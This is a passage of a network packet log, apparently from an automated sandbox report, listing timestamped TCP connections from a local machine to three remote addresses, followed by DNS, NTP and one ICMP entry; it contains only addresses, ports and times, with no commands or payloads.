Dec 20, 2024 16:05:41.861244917 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.861257076 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.861267090 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.861270905 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.861316919 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.861979961 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.862067938 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.862082005 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.862106085 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.862201929 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.862215042 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.862227917 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.862392902 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.863028049 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.863049030 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.863063097 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.863198042 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.863375902 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.863389015 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.863490105 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.863961935 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.864013910 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.864025116 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.864037037 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.864075899 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.864156008 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.864168882 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.864255905 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.864903927 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.864958048 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.864969015 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.865137100 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.865658045 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.865670919 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.865928888 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.865952969 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.865966082 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.865973949 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.866012096 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.866012096 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.866121054 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.866133928 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.866828918 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.866868973 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.866880894 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.867017031 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.867029905 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.867039919 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.867830992 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.867842913 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.867855072 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.867856979 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.867903948 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.867903948 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.867984056 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.867995977 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.868746996 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.868779898 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.868796110 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.868809938 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.868944883 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.922851086 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:53.097311974 CET	49808	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:05:53.097354889 CET	443	49808	142.250.181.132	192.168.2.7
Dec 20, 2024 16:05:53.097481012 CET	49808	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:05:53.097939014 CET	49808	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:05:53.097951889 CET	443	49808	142.250.181.132	192.168.2.7
Dec 20, 2024 16:05:54.801522017 CET	443	49808	142.250.181.132	192.168.2.7
Dec 20, 2024 16:05:54.801866055 CET	49808	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:05:54.801915884 CET	443	49808	142.250.181.132	192.168.2.7
Dec 20, 2024 16:05:54.803081989 CET	443	49808	142.250.181.132	192.168.2.7
Dec 20, 2024 16:05:54.803199053 CET	49808	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:05:54.804414034 CET	49808	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:05:54.804488897 CET	443	49808	142.250.181.132	192.168.2.7
Dec 20, 2024 16:05:54.846117973 CET	49808	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:05:54.846148014 CET	443	49808	142.250.181.132	192.168.2.7
Dec 20, 2024 16:05:54.892774105 CET	49808	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:05:55.798439026 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:06:00.106651068 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:00.106707096 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:00.106817007 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:00.107044935 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:00.107059956 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:01.846596003 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:01.849128008 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:01.849137068 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:01.851269007 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:01.851351023 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:01.851830006 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:01.851912022 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:01.851967096 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:01.894387960 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:01.894397974 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:01.934566021 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.331068039 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.331090927 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.331099987 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.331136942 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.331145048 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.331154108 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.331176043 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.331191063 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.331206083 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.331206083 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.331206083 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.331206083 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.331289053 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.446280956 CET	49854	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.446348906 CET	443	49854	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.446429014 CET	49854	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.447237015 CET	49854	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.447268963 CET	443	49854	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.505378008 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.505461931 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.505467892 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.505485058 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.505565882 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.559915066 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.559938908 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.559973955 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.559988976 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.560103893 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.560173035 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.687087059 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.687119961 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.687200069 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.687200069 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.687215090 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.687549114 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.722969055 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.723001003 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.723088026 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.723088980 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.723119020 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.723258972 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.744354963 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.744383097 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.744523048 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.744523048 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.744534969 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.744754076 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.765480042 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.765507936 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.765661001 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.765661001 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.765677929 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.765908957 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.866700888 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.866735935 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.867032051 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.867069006 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.867558002 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.886265993 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.886302948 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.886379957 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.886409044 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.886447906 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.886661053 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.902620077 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.902657032 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.903103113 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.903103113 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.903134108 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.903197050 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.916084051 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.916125059 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.916330099 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.916331053 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.916361094 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.916577101 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.932988882 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.933029890 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.933949947 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.933949947 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.933981895 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.934499979 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.935239077 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.935348034 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:02.935576916 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.948750973 CET	49841	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:02.948796034 CET	443	49841	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:04.172177076 CET	443	49854	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:04.173260927 CET	49854	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:04.173297882 CET	443	49854	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:04.173670053 CET	443	49854	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:04.175785065 CET	49854	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:04.175862074 CET	443	49854	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:04.176218987 CET	49854	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:04.219338894 CET	443	49854	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:04.516882896 CET	443	49808	142.250.181.132	192.168.2.7
Dec 20, 2024 16:06:04.516959906 CET	443	49808	142.250.181.132	192.168.2.7
Dec 20, 2024 16:06:04.517004967 CET	49808	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:06:04.611114979 CET	443	49854	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:04.611200094 CET	443	49854	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:04.611243010 CET	49854	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:04.612705946 CET	49854	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:04.612734079 CET	443	49854	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:04.614032984 CET	49808	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:06:04.614047050 CET	443	49808	142.250.181.132	192.168.2.7
Dec 20, 2024 16:06:04.614917994 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:04.614953995 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:04.615008116 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:04.615467072 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:04.615475893 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:06.336282969 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:06.336565971 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:06.336585999 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:06.336951017 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:06.337305069 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:06.337388992 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:06.337622881 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:06.383327007 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:06.821268082 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:06.821296930 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:06.821321011 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:06.821376085 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:06.821407080 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:06.821429014 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:06.821461916 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.004723072 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.004808903 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.004827023 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.004841089 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.004874945 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.004904985 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.050497055 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.050540924 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.050596952 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.050611973 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.050643921 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.050661087 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.174325943 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.174352884 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.174402952 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.174413919 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.174453020 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.174474955 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.214576960 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.214608908 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.214656115 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.214668036 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.214693069 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.214710951 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.235239983 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.235275030 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.235321045 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.235358000 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.235368013 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.235398054 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.355051041 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.355079889 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.355149031 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.355158091 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.355201006 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.373439074 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.373496056 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.373573065 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.373603106 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.373620987 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.373661995 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.390558958 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.390620947 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.390681028 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.390690088 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.390755892 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.405416965 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.405442953 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.405487061 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.405495882 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.405529022 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.405550957 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.422441006 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.422468901 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.422594070 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.422605038 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.422619104 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.422910929 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.438608885 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.438667059 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.438994884 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.438994884 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.439002037 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.439337015 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.553980112 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.554056883 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.554110050 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.554122925 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.554205894 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.554260015 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:07.554425955 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.623594999 CET	49871	443	192.168.2.7	13.107.246.42
Dec 20, 2024 16:06:07.623617887 CET	443	49871	13.107.246.42	192.168.2.7
Dec 20, 2024 16:06:53.017966986 CET	50066	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:06:53.018033028 CET	443	50066	142.250.181.132	192.168.2.7
Dec 20, 2024 16:06:53.018131018 CET	50066	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:06:53.018390894 CET	50066	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:06:53.018405914 CET	443	50066	142.250.181.132	192.168.2.7
Dec 20, 2024 16:06:54.714469910 CET	443	50066	142.250.181.132	192.168.2.7
Dec 20, 2024 16:06:54.714802980 CET	50066	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:06:54.714832067 CET	443	50066	142.250.181.132	192.168.2.7
Dec 20, 2024 16:06:54.715174913 CET	443	50066	142.250.181.132	192.168.2.7
Dec 20, 2024 16:06:54.715562105 CET	50066	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:06:54.715626955 CET	443	50066	142.250.181.132	192.168.2.7
Dec 20, 2024 16:06:54.767473936 CET	50066	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:07:04.413499117 CET	443	50066	142.250.181.132	192.168.2.7
Dec 20, 2024 16:07:04.413563967 CET	443	50066	142.250.181.132	192.168.2.7
Dec 20, 2024 16:07:04.413614988 CET	50066	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:07:05.535572052 CET	50066	443	192.168.2.7	142.250.181.132
Dec 20, 2024 16:07:05.535608053 CET	443	50066	142.250.181.132	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:05:13.117237091 CET	64213	53	192.168.2.7	1.1.1.1
Dec 20, 2024 16:05:13.254925013 CET	53	64213	1.1.1.1	192.168.2.7
Dec 20, 2024 16:05:13.260567904 CET	54584	53	192.168.2.7	1.1.1.1
Dec 20, 2024 16:05:13.401175022 CET	53	54584	1.1.1.1	192.168.2.7
Dec 20, 2024 16:05:13.405071020 CET	64967	53	192.168.2.7	1.1.1.1
Dec 20, 2024 16:05:13.542306900 CET	53	64967	1.1.1.1	192.168.2.7
Dec 20, 2024 16:05:16.017936945 CET	123	123	192.168.2.7	40.81.94.65
Dec 20, 2024 16:05:16.601450920 CET	123	123	40.81.94.65	192.168.2.7
Dec 20, 2024 16:05:48.809150934 CET	53	49679	1.1.1.1	192.168.2.7
Dec 20, 2024 16:05:48.812741041 CET	53	60757	1.1.1.1	192.168.2.7
Dec 20, 2024 16:05:52.191718102 CET	53	52930	1.1.1.1	192.168.2.7
Dec 20, 2024 16:05:52.953699112 CET	50759	53	192.168.2.7	1.1.1.1
Dec 20, 2024 16:05:52.954087019 CET	64553	53	192.168.2.7	1.1.1.1
Dec 20, 2024 16:05:53.091284037 CET	53	64553	1.1.1.1	192.168.2.7
Dec 20, 2024 16:05:53.094831944 CET	53	50759	1.1.1.1	192.168.2.7
Dec 20, 2024 16:05:56.272408009 CET	59959	53	192.168.2.7	1.1.1.1
Dec 20, 2024 16:05:56.272581100 CET	62657	53	192.168.2.7	1.1.1.1
Dec 20, 2024 16:05:59.873078108 CET	49217	53	192.168.2.7	1.1.1.1
Dec 20, 2024 16:05:59.873294115 CET	52417	53	192.168.2.7	1.1.1.1
Dec 20, 2024 16:06:06.416821003 CET	53	58617	1.1.1.1	192.168.2.7
Dec 20, 2024 16:06:08.053177118 CET	65479	53	192.168.2.7	1.1.1.1
Dec 20, 2024 16:06:08.053826094 CET	60435	53	192.168.2.7	1.1.1.1
Dec 20, 2024 16:06:09.265762091 CET	53	54420	1.1.1.1	192.168.2.7
Dec 20, 2024 16:06:10.406071901 CET	138	138	192.168.2.7	192.168.2.255
Dec 20, 2024 16:06:28.045128107 CET	53	62062	1.1.1.1	192.168.2.7
Dec 20, 2024 16:06:48.345356941 CET	53	53910	1.1.1.1	192.168.2.7
Dec 20, 2024 16:06:50.641527891 CET	53	64979	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 20, 2024 16:06:15.055747986 CET	192.168.2.7	1.1.1.1	c267	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
